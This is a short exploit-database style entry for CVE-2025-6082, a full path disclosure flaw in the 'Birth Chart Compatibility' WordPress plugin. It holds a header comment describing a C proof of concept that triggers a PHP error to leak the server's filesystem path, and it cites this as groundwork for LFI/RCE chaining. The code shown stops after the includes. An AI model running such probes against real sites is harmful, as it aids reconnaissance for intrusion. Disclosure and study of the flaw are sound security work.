Birth Chart Compatibility WordPress Plugin 2.0 Full Path Disclosure

/* * Exploit Title : Birth Chart Compatibility WordPress Plugin 2.0 - Full Path Disclosure * Author : Byte Reaper * Telegram : @ByteReaper0 * CVE : CVE-2025-6082 * Software Link : https://frp.wordpress.org/plugins/birth-chart-compatibility/ * Description : Proof‑of‑Concept exploits the Full Path Disclosure bug in the * “Birth Chart Compatibility” WordPress plugin (<=v2.0). It sends * an HTTP GET request to the plugin’s index.php endpoint, captures * the resulting PHP warning or fatal error, and parses the server’s * filesystem path (e.g. “/var/www/html/wp-content/plugins/…” or * “C:\\xampp\\htdocs\\…”). Revealing this path aids attackers in * chaining further LFI/RCE or reconnaissance attacks. */ #include<stdio.h> #include"argparse.h" #include<string.h> #include <stdlib.h> #include <curl/curl.h> #include <unistd.h> #define FULL 2300 const char *url = NULL;
